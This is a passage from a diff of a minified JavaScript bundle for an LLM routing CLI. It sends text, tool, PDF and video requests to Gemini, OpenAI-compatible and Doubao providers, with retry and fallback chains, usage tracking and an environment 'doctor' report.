T("truncated","Gemini output was truncated.",{usage:y,context:m});if(u)throw new T("content_filtered",`Gemini blocked the prompt (blockReason=${u}).`,{usage:y,classification:{failure_type:"policy",failure_code:"content_blocked"},context:{...m,provider_source:"prompt",provider_reason:Yd(u),...Yd(u)==="UNKNOWN"?{provider_reason_raw:u}:{},safety_ratings:Hf(p.promptFeedback?.safetyRatings)}});if(Dx.has(f))throw new T("content_filtered",`Gemini filtered the response (finishReason=${f}).`,{usage:y,classification:{failure_type:"policy",failure_code:"content_blocked"},context:{...m,provider_source:"candidate",provider_reason:Yd(f),finish_message:l?.finishMessage,safety_ratings:Hf(l?.safetyRatings)}});let g=(p.text??"").trim();if(!g)throw Gx.has(f)?new T("invalid_response",`Gemini returned no usable response (finishReason=${f}).`,{usage:y,context:{...m,provider_reason_raw:f,finish_message:l?.finishMessage}}):new T("empty_response",`Gemini returned an empty response (finishReason=${f||"none"}).`,{retryable:!0,usage:y,context:m});if(t.acceptsText&&!t.acceptsText(g))throw new T("invalid_response","Gemini response does not match the requested output format.",{retryable:!0,usage:y,context:{...m,provider_reason_raw:g.slice(0,200)}});if(!f)throw new T("invalid_response","Gemini stream ended before the response finished.",{retryable:!0,usage:y,context:{...m,provider_reason_raw:"missing_finish_reason"}});if(t.responseJsonSchema)try{let w=o?Kx(g):g;return JSON.parse(w),{text:w,finishReason:f,usage:y,raw:p}}catch{throw new T("invalid_response","Gemini returned malformed JSON for a structured media response.",{retryable:!0,usage:y,context:m})}return{text:g,finishReason:f,usage:y,raw:p}});return{text:c.text,finishReason:c.finishReason,attempts:a,usage:Xt(d,c.usage),raw:c.raw}}async release(t,n){if(!(t.kind==="base64"||t.kind==="local-fallback"||t.kind==="local"))try{await this.client.files.delete({name:t.file.name})}catch(o){}}},Hx=$x(import.meta.url);function Qx(e,t,n,o){let{GoogleGenAI:i}=Hx("@google/genai"),r=new i({...o?{vertexai:!0,project:na(),location:jr(),...e?{googleAuthOptions:{apiKey:e}}:{}}:{vertexai:!1,apiKey:e},httpOptions:{timeout:t,...n?{baseUrl:n}:{}}}),s=(process.env.https_proxy??process.env.HTTPS_PROXY??process.env.http_proxy??process.env.HTTP_PROXY??"").trim();return s&&!(process.env.NODE_USE_ENV_PROXY??"").trim()&&process.stderr.write(`\u26A0\uFE0F \u68C0\u6D4B\u5230\u4EE3\u7406 ${s}\uFF0C\u4F46\u672A\u8BBE NODE_USE_ENV_PROXY=1\u3002
154
154
  Gemini \u4E0A\u4F20\u4F1A\u6210\u529F\u3001\u968F\u540E\u7684\u6587\u4EF6\u8F6E\u8BE2/\u751F\u6210\u4F1A\u6302\uFF08Node \u5185\u7F6E fetch \u9ED8\u8BA4\u4E0D\u8D70\u4EE3\u7406\uFF09\u3002
155
155
  \u8BF7\u5728\u547D\u4EE4\u524D\u52A0 NODE_USE_ENV_PROXY=1 \u91CD\u8DD1\u3002
156
- `),{files:{upload:c=>Hf({apiKey:e,filePath:c.file,mimeType:c.config?.mimeType??"video/mp4",timeoutMs:t,proxyUrl:s,baseUrl:n}),get:c=>r.files.get(c),delete:c=>r.files.delete(c)},models:{generateContent:c=>r.models.generateContent(c),generateContentStream:c=>r.models.generateContentStream(c)}}}var Qr=class{constructor(t,n,o,i){this.provider=t;this.transport=new Fi(t,n,o,i)}provider;transport;prepare(t,n){return this.transport.prepare(t,"application/pdf",this.provider.documentUploadMode??"file-api",n)}generate(t){return this.transport.generateMedia(t)}release(t,n){return this.transport.release(t,n)}};var sa=class extends Fi{generate(t){let n=t.media;if(n.kind==="local-fallback"||n.kind==="local")throw new T("invalid_response","A local fallback video cannot be sent to Gemini.");return this.generateMedia({...t,media:n},{fps:t.fps})}};function Yf(e,t){if(!Yn(e)||!Yn(e.usage))return{};let n=e.usage,o=a=>{let d=typeof a=="number"?a:0;return Number.isFinite(d)?d:0},i=Yn(n.prompt_tokens_details)?n.prompt_tokens_details:{},r=o(n.prompt_tokens),s=o(i.cached_tokens)||o(n.cache_read_input_tokens),c=o(i.cache_creation_tokens)||o(n.cache_creation_input_tokens);return{inputTokens:t?r:r+s+c,outputTokens:o(n.completion_tokens),cachedInputTokens:s,cacheCreationTokens:c}}function Yn(e){return typeof e=="object"&&e!==null&&!Array.isArray(e)}function Yx(e){let t=e.trim().replace(/\/+$/,"");return t.endsWith("/chat/completions")?t:t.endsWith("/v1")?`${t}/chat/completions`:`${t}/v1/chat/completions`}function qf(e){return!Yn(e)||!Array.isArray(e.choices)?null:e.choices.find(Yn)??null}function Zf(e){return e&&typeof e.finish_reason=="string"?e.finish_reason:""}function Xf(e){return e&&Yn(e.message)?e.message:null}function qx(e){let t=Xf(e)?.content;return typeof t=="string"?t.trim():Array.isArray(t)?t.flatMap(n=>Yn(n)&&typeof n.text=="string"?[n.text]:[]).join(`
157
- `).trim():""}function Wf(e){try{return JSON.parse(e)}catch{throw new T("invalid_response","Provider returned invalid JSON.",{details:[e.slice(0,500)]})}}var aa=class{constructor(t,n,o){this.provider=t;this.model=n;this.apiKey=o;if(!t.baseUrl&&t.protocol!=="google-vertex")throw new T("endpoint","OpenAI-compatible provider endpoint (baseUrl) is not set \u2014 the built-in gateway reads PROJECT_LITELLM_GATEWAY_BASE_URL.");this.url=t.protocol==="google-vertex"?`${Kf()}/v1/projects/${ia()}/locations/${Hr()}/endpoints/openapi/chat/completions`:t.protocol==="google-gemini"?`${t.baseUrl.trim().replace(/\/+$/,"")}/v1beta/openai/chat/completions`:Yx(t.baseUrl);try{this.host=new URL(this.url).host}catch{this.host=this.url}}provider;model;apiKey;url;host;async post(t,n){let o=await en(this.provider.maxAttempts,async()=>{let i=AbortSignal.timeout(this.provider.timeoutMs),r=n?AbortSignal.any([n,i]):i,s;try{s=await fetch(this.url,{method:"POST",headers:{...this.provider.protocol==="google-vertex"&&this.apiKey?{"x-goog-api-key":this.apiKey}:{authorization:`Bearer ${this.provider.protocol==="google-vertex"?await Jf.getAccessToken():this.apiKey}`},"content-type":"application/json"},body:JSON.stringify(t),signal:r})}catch(a){let d=a instanceof Error?a.message:String(a),p=r.aborted&&!n?.aborted;throw new T(p?"timeout":"request_failed",p?`OpenAI-compatible request timed out reaching ${this.host}.`:`OpenAI-compatible request could not reach ${this.host}: ${d}`,{retryable:!n?.aborted,details:[d.slice(0,500)]})}let c=await s.text();if(!s.ok){let a=s.status===408||s.status===429||s.status>=500,d=s.status===401||s.status===403?"auth":s.status===429?"rate_limited":"request_failed";throw new T(d,`OpenAI-compatible request to ${this.host} failed (status ${s.status}).`,{retryable:a,details:[`status: ${s.status}`,c.slice(0,500)]})}return Wf(c)});return{payload:o.value,attempts:o.attempts,failedUsage:o.failedUsage}}baseBody(t){let n=[];return t.system.trim()&&n.push({role:"system",content:t.system}),n.push({role:"user",content:t.user}),{model:this.provider.protocol==="google-vertex"?`google/${this.model.model.replace(/^google\//,"")}`:this.model.model,messages:n,...t.responseFormat==="json_object"?{response_format:{type:"json_object"}}:{},...this.model.reasoning?{reasoning_effort:this.model.reasoning}:{},...this.model.temperature!==void 0?{temperature:this.model.temperature}:{}}}async generateText(t){let{payload:n,attempts:o,failedUsage:i}=await this.post(this.baseBody(t),t.signal),r=Xt(i,Yf(n,this.provider.protocol==="google-vertex"||this.provider.protocol==="google-gemini"));try{let s=qf(n),c=Zf(s);if(c==="length")throw new T("truncated","Provider output was truncated.");if(c==="content_filter"||c.startsWith("content_filter:"))throw new T("content_filtered",`Provider filtered the response (${c}).`);let a=qx(s);if(!a)throw new T("empty_response","Provider returned an empty text response.");return{text:a,finishReason:c,attempts:o,usage:r,raw:n}}catch(s){throw s instanceof T&&(s.attempts=o,s.usage=r),s}}async generateTool(t){let{payload:n,attempts:o,failedUsage:i}=await this.post({...this.baseBody(t),tools:[{type:"function",function:{name:t.tool.name,description:t.tool.description,parameters:t.tool.inputSchema}}],tool_choice:{type:"function",function:{name:t.tool.name}},parallel_tool_calls:!1},t.signal),r=Xt(i,Yf(n,this.provider.protocol==="google-vertex"||this.provider.protocol==="google-gemini"));try{let s=qf(n),c=Zf(s);if(c==="length")throw new T("truncated","Provider tool output was truncated.");if(c==="content_filter"||c.startsWith("content_filter:"))throw new T("content_filtered",`Provider filtered the response (${c}).`);let a=Xf(s)?.tool_calls;if(!Array.isArray(a))throw new T("invalid_response","Provider did not return a tool call.");for(let d of a){if(!Yn(d)||!Yn(d.function))continue;let p=d.function;if(!(p.name!==t.tool.name||typeof p.arguments!="string"))return{input:Wf(p.arguments),finishReason:c,attempts:o,usage:r,raw:n}}throw new T("invalid_response","Provider did not return the required tool call.")}catch(s){throw s instanceof T&&(s.attempts=o,s.usage=r),s}}};var kn={model:"ep-20261028172514-tlxzc",modelEnv:"DOUBAO_TURBO_MODEL",baseUrl:"https://ark.ap-southeast.bytepluses.com/api/v3",apiKeyEnv:"DOUBAO_TURBO_API_KEY",timeoutMs:6e5,maxAttempts:3},Xd=["gemini-3.8-flash","gemini-3.7-flash","gemini-3.6-flash"];function ep(e){return e?.trim().replace(/\/+$/,"")??"anthropic-sdk-default"}function Fr(e,t,n){let o=An[e],i=JSON.stringify({task:e,taskVersion:o.version,protocol:t.protocol,baseUrl:ep(t.baseUrl),model:n.model,thinkingBudgetTokens:n.thinkingBudgetTokens??null,...o.mode==="video"&&t.videoResponseSchemaField==="responseSchema"?{videoResponseSchemaField:t.videoResponseSchemaField}:{},...o.mode==="document"&&t.documentResponseSchemaField==="responseSchema"?{documentResponseSchemaField:t.documentResponseSchemaField}:{}});return em.createHash("sha256").update(i).digest("hex")}function Ge(e,t,n){return new S(e,{exitCode:b,errorCode:"LLM_CONFIG_INVALID",hint:"Fix the selected LLM configuration and run `scriptctl doctor`.",data:{expected:t,actual:n}})}function Yi(e){return new S("The selected LLM provider credential is not configured.",{exitCode:X,errorCode:"LLM_CREDENTIAL_MISSING",hint:"Configure the credential and rerun `scriptctl doctor`.",data:{expected:["credential environment variable referenced by the selected provider"],actual:[`provider: ${e}`,"credential: missing"]}})}function ai(e,t){return Ut(Pi(e.failure),{...kr(e.failure),provider:t.provider,model:t.model,retryable:e.failure.retryable,message:e.message})}function qi(e,t){if(t.length===1)return e;let n=_u(t,"All configured model routes failed.");return new T(e.code,n.message,{retryable:n.retryable,classification:Pi(n),context:kr(n),modelFailures:t,details:t.map(hn)})}function Zx(e){return["google-gemini","google-vertex"].includes(e.protocol)||/(^|\/)gemini-/i.test(e.model)}function ca(e){let t=e.info.model.slice(0,e.info.model.lastIndexOf("/")+1);return[...new Set([e.info.model,...Xd.map(o=>t+o)])].map(o=>{if(o===e.info.model)return e;let i={...e.modelConfig,model:o};return{...e,modelConfig:i,info:{...e.info,model:o,fingerprint:Fr(e.info.task,e.providerConfig,i)}}})}function Oo(e,t){return!t?.aborted&&e instanceof T&&e.code!=="cancelled"}var Yr=class{constructor(t,n={}){this.config=t;this.options=n}config;options;adapters=new Map;videoAdapters=new Map;doubaoAdapters=new Map;resolvedRoutes=new Map;usageLog=[];get configSource(){return this.config.source}resolve(t){let n=this.resolvedRoutes.get(t);if(n)return n;let o=An[t];if(o.mode==="video"&&this.options.videoProvider?.provider==="doubao"){let l=this.resolveDoubao(t,!0);return this.resolvedRoutes.set(t,l),l}let i=this.options.profile??this.config.tasks[t]??o.defaultProfile,r=this.config.models[i];if(!r)throw Ge("The task route references a missing model profile.",[i],[`task: ${t}`]);let s=this.config.providers[r.provider];if(!s)throw Ge("The model profile references a missing provider.",[r.provider],[`profile: ${i}`]);if(s.protocol==="openai-compatible"&&!s.baseUrl)throw Ge("OpenAI-compatible providers require an explicit endpoint \u2014 set the provider's baseUrl, or PROJECT_LITELLM_GATEWAY_BASE_URL for the built-in gateway.",["provider.baseUrl"],[`provider: ${r.provider}`]);if(r.thinkingBudgetTokens!==void 0&&o.mode==="tool")throw Ge("Anthropic thinking cannot be combined with a forced tool call.",["a text task or a profile without thinking"],[`task: ${t}`,`profile: ${i}`]);if(o.mode!=="document"&&r.thinkingBudgetTokens!==void 0&&r.thinkingBudgetTokens>=o.maxOutputTokens)throw Ge("The thinking token budget must be smaller than the task output budget.",[`thinking budget < ${o.maxOutputTokens}`],[`task: ${t}`,`thinking budget: ${r.thinkingBudgetTokens}`]);let c=o.mode==="video"?this.options.videoProvider:void 0,a=c?.baseUrl?{...s,protocol:"google-gemini",baseUrl:Jd(c.baseUrl,"--provider-base-url")}:s,d=c?.model?{...r,model:c.model.trim()}:r;if(c?.model!==void 0&&!d.model)throw Ge("The video provider model cannot be empty.",["non-empty --provider-model"],["model: empty"]);let p={info:{task:t,profile:i,provider:r.provider,protocol:a.protocol,baseUrl:a.baseUrl,model:d.model,fingerprint:Fr(t,a,d),...o.mode==="video"&&a.videoUploadMode?{videoUploadMode:a.videoUploadMode}:{}},providerConfig:a,modelConfig:d};return this.resolvedRoutes.set(t,p),p}route(t){return this.resolve(t).info}routes(){return $f.map(t=>this.route(t))}emptyUsage(){return{calls:0,succeeded:0,failed:0,reused:0,attempts:0,durationMs:0,inputTokens:0,outputTokens:0,cachedInputTokens:0,cacheCreationTokens:0}}recordReuse(t){let n=new Date().toISOString();this.recordEvent(this.route(t),"reused",n,n,0,{})}usage(){let t=new Map;for(let n of this.usageLog){let o=`${n.task}\0${n.provider}\0${n.protocol}\0${n.model}\0${n.fingerprint}`,i=t.get(o)??{task:n.task,profile:n.profile,provider:n.provider,protocol:n.protocol,baseUrl:n.baseUrl,model:n.model,fingerprint:n.fingerprint,...this.emptyUsage()};n.status==="reused"?i.reused+=1:(i.calls+=1,i[n.status]+=1,i.attempts+=n.attempts,i.durationMs+=n.durationMs,i.inputTokens+=n.inputTokens,i.outputTokens+=n.outputTokens,i.cachedInputTokens+=n.cachedInputTokens,i.cacheCreationTokens+=n.cacheCreationTokens),t.set(o,i)}return[...t.values()]}usageEvents(){return this.usageLog.map(t=>({...t}))}recordEvent(t,n,o,i,r,s,c=0,a){this.usageLog.push({...t,sequence:this.usageLog.length+1,status:n,attempts:c,startedAt:o,endedAt:i,durationMs:r,inputTokens:s.inputTokens??0,outputTokens:s.outputTokens??0,cachedInputTokens:s.cachedInputTokens??0,cacheCreationTokens:s.cacheCreationTokens??0,...a?{errorCode:a}:{}})}async tracked(t,n){let o=Date.now(),i=new Date(o).toISOString();try{let r=await n(),s=Date.now();return this.recordEvent(t,"succeeded",i,new Date(s).toISOString(),s-o,r.usage??{},r.attempts),r}catch(r){let s=Date.now(),c=r instanceof T?r:null;throw this.recordEvent(t,"failed",i,new Date(s).toISOString(),s-o,c?.usage??{},c?.attempts??1,c?.code),r}}resolveDoubao(t,n){let o=n?this.options.videoProvider:void 0,i=n?(o?.model??process.env.DOUBAO_TURBO_MODEL??"").trim():this.doubaoModel();if(!i)throw Ge("Doubao requires --provider-model or DOUBAO_TURBO_MODEL.",["--provider-model <id> or DOUBAO_TURBO_MODEL"],["model: empty"]);let r={protocol:"openai-compatible",baseUrl:o?.baseUrl?Jd(o.baseUrl,"--provider-base-url"):kn.baseUrl,apiKeyEnv:kn.apiKeyEnv,timeoutMs:kn.timeoutMs,maxAttempts:kn.maxAttempts},s={provider:"doubao",model:i};return{info:{task:t,profile:n?"doubao":"doubao-fallback",provider:"doubao",protocol:r.protocol,baseUrl:r.baseUrl,model:i,fingerprint:Fr(t,r,s)},providerConfig:r,modelConfig:s}}doubaoRoute(t){return this.resolveDoubao(t,!1).info}adapter(t){let n=`${t.info.provider}\0${t.info.model}\0${t.modelConfig.thinkingBudgetTokens??""}`,o=this.adapters.get(n);if(o)return o;let i=(process.env[t.providerConfig.apiKeyEnv]??"").trim();if(!i&&t.providerConfig.protocol!=="google-vertex")throw Yi(t.info.provider);let r=t.providerConfig.protocol==="anthropic"?new ea(t.providerConfig,t.modelConfig,i):new aa(t.providerConfig,t.modelConfig,i);return this.adapters.set(n,r),r}videoAdapter(t){if(!["google-gemini","google-vertex"].includes(t.providerConfig.protocol))throw Ge("Video tasks require a google-gemini provider.",["provider.protocol: google-gemini"],[`provider: ${t.info.provider}`,`protocol: ${t.providerConfig.protocol}`]);let n=t.info.model,o=`${t.info.provider} ${t.providerConfig.baseUrl??"official"} ${n}`,i=this.videoAdapters.get(o);if(i)return i;let r=this.videoCredential(t);if(!r&&t.providerConfig.protocol!=="google-vertex")throw Yi(t.info.provider);let s=new sa(t.providerConfig,t.modelConfig,r);return this.videoAdapters.set(o,s),s}videoCredential(t){let n=this.resolve(t.info.task).info,o=t.info.provider===n.provider&&t.info.baseUrl===n.baseUrl?this.options.videoProvider?.apiKey:void 0,i=o?.kind==="literal"?o.value.trim():o?.kind==="env"?(process.env[o.name]??"").trim():(process.env[t.providerConfig.apiKeyEnv]??"").trim();if(!i&&(o||t.providerConfig.protocol!=="google-vertex"))throw Yi(t.info.provider);return i}primaryVideoRoutes(t){if(t.info.provider!=="nnyyai-ci"||t.info.model!==Kd||ep(t.info.baseUrl)!==ii.baseUrl)return ca(t);if(!(process.env[ii.apiKeyEnv]??"").trim())return[t];let n={provider:"nnyyai",model:Xd[0]},o={providerConfig:ii,modelConfig:n,info:{...t.info,profile:"nnyyai-fallback",provider:"nnyyai",model:n.model,fingerprint:Fr(t.info.task,ii,n),videoUploadMode:"base64"}};return[t,...ca(o)]}grsaiVideoRoutes(t){return!(process.env[Fn.apiKeyEnv]??"").trim()||ep(t.providerConfig.baseUrl)===Fn.baseUrl?[]:Xd.map(n=>{let o={provider:"grsai",model:n};return{providerConfig:Fn,modelConfig:o,info:{task:t.info.task,profile:"grsai-fallback",provider:"grsai",protocol:Fn.protocol,baseUrl:Fn.baseUrl,model:n,videoUploadMode:"base64",fingerprint:Fr(t.info.task,Fn,o)}}})}fallbackVideoMedia(t){if(t.media.kind==="base64")return t.media;let n=t.media.kind==="local-fallback"?t.media.path:t.localPath;if(!n)throw Ge("Video channel fallback requires the local video.",["localPath"],["localPath: missing"]);let o=t.localMime??(t.media.kind==="file-api"?t.media.file.mimeType:t.media.mimeType);return{kind:"base64",data:Wd.readFileSync(n,"base64"),mimeType:o}}documentPort(t){if(An[t].mode!=="document")throw Ge("The task does not support document generation.",["document task"],[t]);let n=this.resolve(t);if(n.providerConfig.protocol!=="google-gemini"&&n.providerConfig.protocol!=="google-vertex")throw Ge("PDF tasks require a Gemini provider.",["google-gemini or google-vertex"],[n.providerConfig.protocol]);let o=(process.env[n.providerConfig.apiKeyEnv]??"").trim();if(!o&&n.providerConfig.protocol!=="google-vertex")throw Yi(n.info.provider);let i=new Qr(n.providerConfig,n.modelConfig,o),r=new WeakMap;return{prepare:async(s,c)=>{let a;try{a=await i.prepare(s,c)}catch(d){if(!Oo(d,c))throw d;process.stderr.write(`\u21AA\uFE0F PDF \u4E0A\u4F20\u5931\u8D25\uFF0C\u4F7F\u7528\u539F\u6587\u6863\u5B57\u8282\u7EE7\u7EED\u6A21\u578B\u8BF7\u6C42 (${hn(d.failure)})
158
- `),a={kind:"base64",data:Wd.readFileSync(s).toString("base64"),mimeType:"application/pdf"}}return r.set(a,s),a},generate:async s=>{let c=ca(n),a=[];for(let[d,p]of c.entries()){s.signal?.throwIfAborted();let l=d===0?i:new Qr(p.providerConfig,p.modelConfig,o);try{return await this.tracked(p.info,()=>l.generate(s))}catch(f){if(!Oo(f,s.signal))throw f;let u=ai(f,p.info);a.push(u);let y=c[d+1];if(y){process.stderr.write(`\u21AA\uFE0F ${p.info.model} \u6587\u6863\u8BF7\u6C42\u5931\u8D25\uFF0C\u5207\u6362\u5230 ${y.info.model} (${hn(u)})
159
- `);continue}let m=this.arkAdapter();if(!m)throw qi(f,a);let g=this.doubaoRoute(t);process.stderr.write(`\u21AA\uFE0F \u6587\u6863\u6A21\u578B\u8DEF\u7531\u5DF2\u8017\u5C3D\uFF0C\u56DE\u9000\u5230\u8C46\u5305 ${g.model}
160
- `);try{return await this.tracked(g,()=>m.generateDocument(s,r.get(s.media)))}catch(w){throw Oo(w,s.signal)?qi(w,[...a,ai(w,g)]):w}}}throw new Error("Document model routes cannot be empty.")},release:async(s,c)=>{r.delete(s),await i.release(s,c)}}}videoPort(t){let n=An[t];if(n.mode!=="video")throw Ge("The task does not support video generation.",["video task"],[`task: ${t}`]);let o=this.resolve(t);if(this.options.videoProvider?.provider==="doubao"){let r=this.doubaoAdapter(o);if(!r)throw Yi("doubao");return{prepare:async(s,c,a,d)=>{if(a!=="file-api")throw Ge("Doubao requires file-api upload mode.",["file-api"],[a]);return d?.throwIfAborted(),{kind:"local",path:s,mimeType:c}},generate:s=>{if(s.media.kind!=="local")throw Ge("Doubao requires locally prepared video.",["local media"],[s.media.kind]);s.signal?.throwIfAborted();let{path:c,mimeType:a}=s.media;return this.tracked(o.info,()=>r.run({localPath:c,localMime:a,user:s.user,fps:s.fps,maxOutputTokens:n.maxOutputTokens,...s.system?{system:s.system}:{},...s.responseJsonSchema?{responseJsonSchema:s.responseJsonSchema}:{},...s.acceptsText?{acceptsText:s.acceptsText}:{},...s.signal?{signal:s.signal}:{}}))},release:async()=>{}}}if(!["google-gemini","google-vertex"].includes(o.providerConfig.protocol))throw Ge("Video tasks require a google-gemini provider.",["provider.protocol: google-gemini"],[`provider: ${o.info.provider}`,`protocol: ${o.providerConfig.protocol}`]);let i=this.videoAdapter(o);return{prepare:async(r,s,c,a)=>{let d=Date.now();try{return await i.prepare(r,s,c,a)}catch(p){if(!Oo(p,a)||!this.primaryVideoRoutes(o).some(l=>l.providerConfig!==o.providerConfig)&&!this.grsaiVideoRoutes(o).length&&!this.doubaoAdapter())throw p;return this.recordEvent(o.info,"failed",new Date(d).toISOString(),new Date().toISOString(),Date.now()-d,p.usage,p.attempts,p.code),{kind:"local-fallback",path:r,mimeType:s,primaryFailure:ai(p,o.info)}}},release:(r,s)=>r.kind==="local-fallback"?Promise.resolve():i.release(r,s),generate:async r=>{r.signal?.throwIfAborted();let s=[...this.primaryVideoRoutes(o).filter(d=>r.media.kind!=="local-fallback"||d.providerConfig!==o.providerConfig),...this.grsaiVideoRoutes(o)],c=r.media.kind==="local-fallback"?[r.media.primaryFailure]:[],a;for(let[d,p]of s.entries()){r.signal?.throwIfAborted();try{let l=p.providerConfig===o.providerConfig?r.media:a??=this.fallbackVideoMedia(r);return await this.tracked(p.info,()=>this.videoAdapter(p).generate({...r,media:l,maxOutputTokens:n.maxOutputTokens}))}catch(l){if(!Oo(l,r.signal))throw l;let f=ai(l,p.info);c.push(f);let u=s[d+1];if(u){process.stderr.write(`\u21AA\uFE0F ${p.info.provider}/${p.info.model} \u8BF7\u6C42\u5931\u8D25\uFF0C\u5207\u6362\u5230 ${u.info.provider}/${u.info.model} (${hn(f)})
161
- `);continue}if(!this.doubaoAdapter()||!r.localPath&&r.media.kind!=="local-fallback")throw qi(l,c);return this.generateDoubaoVideo(t,r,c)}}return this.generateDoubaoVideo(t,r,c)}}}async generateDoubaoVideo(t,n,o){let i=this.doubaoAdapter();if(!i)throw Yi("doubao");let r=n.media.kind==="local-fallback"?n.media.path:n.localPath;if(!r)throw Ge("Doubao video fallback requires the local video.",["localPath"],["localPath: missing"]);let s=n.localMime??(n.media.kind==="file-api"?n.media.file.mimeType:n.media.mimeType),c=An[t];if(c.mode!=="video")throw Ge("Expected a video task.",["video task"],[t]);let a=this.doubaoRoute(t);process.stderr.write(`\u21AA\uFE0F Gemini \u8DEF\u7531\u5DF2\u8017\u5C3D\uFF0C\u56DE\u9000\u5230\u8C46\u5305 ${a.model}
162
- `);try{return await this.tracked(a,()=>i.run({localPath:r,localMime:s,user:n.user,fps:n.fps,maxOutputTokens:c.maxOutputTokens,...n.system?{system:n.system}:{},...n.responseJsonSchema?{responseJsonSchema:n.responseJsonSchema}:{},...n.acceptsText?{acceptsText:n.acceptsText}:{},...n.signal?{signal:n.signal}:{}}))}catch(d){throw Oo(d,n.signal)?qi(d,[...o,ai(d,a)]):d}}doubaoAdapter(t){return this.arkAdapter(t)}doubaoTextAdapter(){return this.arkAdapter()}arkAdapter(t){let n=t?this.videoCredential(t):(process.env[kn.apiKeyEnv]??"").trim();if(!n)return null;let o=t?.info.model??this.doubaoModel(),i=t?.providerConfig.baseUrl??kn.baseUrl,r=`doubao ${i} ${o}`,s=this.doubaoAdapters.get(r);if(s)return s;let c=new oa(o,kn.timeoutMs,kn.maxAttempts,n,i);return this.doubaoAdapters.set(r,c),c}doubaoModel(){return(process.env[kn.modelEnv]??"").trim()||kn.model}async withTextFallback(t,n,o){let i=this.resolve(t),r=Zx(i.info),s=r?ca(i):[i],c=[];for(let[a,d]of s.entries()){n?.throwIfAborted();let p=this.adapter(d);try{return await this.tracked(d.info,()=>o(p))}catch(l){if(!Oo(l,n)||!r&&l.code!=="content_filtered")throw l;let f=ai(l,d.info);c.push(f);let u=s[a+1];if(u){process.stderr.write(`\u21AA\uFE0F ${d.info.model} \u8BF7\u6C42\u5931\u8D25\uFF0C\u5207\u6362\u5230 ${u.info.model} (${hn(f)})
163
- `);continue}let y=this.doubaoTextAdapter();if(!y)throw qi(l,c);let m=this.doubaoRoute(t);process.stderr.write(`\u21AA\uFE0F \u4E3B\u6A21\u578B\u8DEF\u7531\u5DF2\u8017\u5C3D\uFF0C\u56DE\u9000\u5230\u8C46\u5305 ${m.model}
164
- `);try{return await this.tracked(m,()=>o(y))}catch(g){throw Oo(g,n)?qi(g,[...c,ai(g,m)]):g}}}throw new Error("Text model routes cannot be empty.")}async generateText(t,n){let o=An[t];if(o.mode!=="text")throw Ge("The task does not support text generation.",["text task"],[`task: ${t}`]);return this.withTextFallback(t,n.signal,i=>i.generateText({...n,maxOutputTokens:o.maxOutputTokens}))}async generateTool(t,n){let o=An[t];if(o.mode!=="tool")throw Ge("The task does not support tool generation.",["tool task"],[`task: ${t}`]);return this.withTextFallback(t,n.signal,i=>i.generateTool({...n,maxOutputTokens:o.maxOutputTokens}))}};function tm(e,t){return new Yr(vo(e),t)}var Xx=Wx(import.meta.url);function da(e){try{return Xx.resolve(e),!0}catch{return!1}}function e5(e){let t=!1;try{Bt.statSync(e).isDirectory()&&(Bt.accessSync(e,Bt.constants.W_OK),t=!0)}catch{t=!1}let n=!1;try{n=Bt.statSync(ci.join(e,"script.json")).isFile()}catch{n=!1}return{writable:t,hasScript:n}}function t5(){return ci.join(ci.dirname(ci.resolve("workspace")),"output")}function nm(e={}){let t=Pd(),n=[],o=new Set;for(let R of t)try{if(!Bt.existsSync(R)||!Bt.statSync(R).isFile())continue;let K=Bt.realpathSync(R);if(o.has(K))continue;o.add(K),n.push(R)}catch{}let i=typeof e.llm_config=="string"?e.llm_config.trim():"",r=vo(i||void 0),c=new Yr(r).routes(),a=Object.entries(r.providers).map(([R,K])=>({alias:R,configured:!!(process.env[K.apiKeyEnv]??"").trim(),env:K.apiKeyEnv})),d=Object.entries(r.providers).filter(([,R])=>R.protocol==="openai-compatible").map(([R,K])=>{let Z="not set";if(K.baseUrl)try{Z=new URL(K.baseUrl).host}catch{Z=K.baseUrl}return{alias:R,host:Z}}),{mode:p}=Vf(),l=(process.env.SCRIPTCTL_OUTPUT_DIR??"").trim()||t5(),f=p==="local"?e5(l):null,u=!!process.env.AWB_BASE_URL,y=!!process.env.LINGJING_AWB_ACCESS_KEY,m=!!process.env.SANDBOX_PROJECT_GROUP_NO,g={"@anthropic-ai/sdk":da("@anthropic-ai/sdk"),"@google/genai":da("@google/genai"),jszip:da("jszip"),"fast-xml-parser":da("fast-xml-parser")},w=Object.entries(g).filter(([,R])=>!R).map(([R])=>R),h=process.versions.node,_=`env_file: ${n[0]??"missing"}`,x=R=>R?"configured":"not configured",A=[`node: ${h}`,"storage: local-filesystem",_,`llm config: ${r.source}`,`llm routes: ${c.length}`,...a.map(R=>`llm provider ${R.alias}: ${x(R.configured)}`),...d.map(R=>`llm provider ${R.alias} endpoint: ${R.host}`)];p===null?A.push("output target: not configured"):p==="local"&&f?(A.push(`output writable: ${x(f.writable)}`),A.push(`output snapshot: ${f.hasScript?"present":"absent"}`)):(A.push(`gateway endpoint: ${x(u)}`),A.push(`gateway access credential: ${x(y)}`),A.push(`gateway project identifier: ${x(m)}`));for(let[R,K]of Object.entries(g))A.push(`dependency ${R}: ${K?"ok":"missing"}`);let k=[];w.length>0&&k.push("Install missing CLI dependencies (see above)."),a.some(R=>!R.configured)&&k.push("Configure every credential referenced by the selected LLM configuration."),d.some(R=>R.host==="not set")&&k.push("An openai-compatible provider has no endpoint \u2014 set PROJECT_LITELLM_GATEWAY_BASE_URL (built-in gateway) or the provider's baseUrl."),p===null?k.push("Configure an output target before running `publish` / script CRUD."):p==="local"?f&&!f.writable&&k.push("Output target is not writable; check directory permissions."):(!u||!y||!m)&&k.push("Configure gateway credentials before running `publish` / script CRUD against the remote project."),k.length===0&&k.push("Environment looks ready.");let[N,M]=h.split(".").map(R=>parseInt(R,10)),I=(N??0)>20||(N??0)===20&&(M??0)>=0,O=p===null?{configured:!1}:p==="local"?{dir:{ok:!!f?.writable,writable:!!f?.writable,hasScript:!!f?.hasScript}}:{endpoint:{ok:u},access:{ok:y},project:{ok:m}},U={node:{version:h,ok:I},storage:{backend:"local-filesystem",ok:!0},env:{ok:n.length>0,paths:n},llm:{config_source:r.source,...r.sourcePath?{config_path:r.sourcePath}:{},providers:a.map(R=>({alias:R.alias,ok:R.configured,credential_env:R.env,...d.find(K=>K.alias===R.alias)?{endpoint:d.find(K=>K.alias===R.alias).host}:{}})),profiles:Object.keys(r.models),routes:c.map(R=>({task:R.task,profile:R.profile,provider:R.provider,protocol:R.protocol,model:R.model}))},output:O,dependencies:g};return[{text:[...A,...k].join(`
165
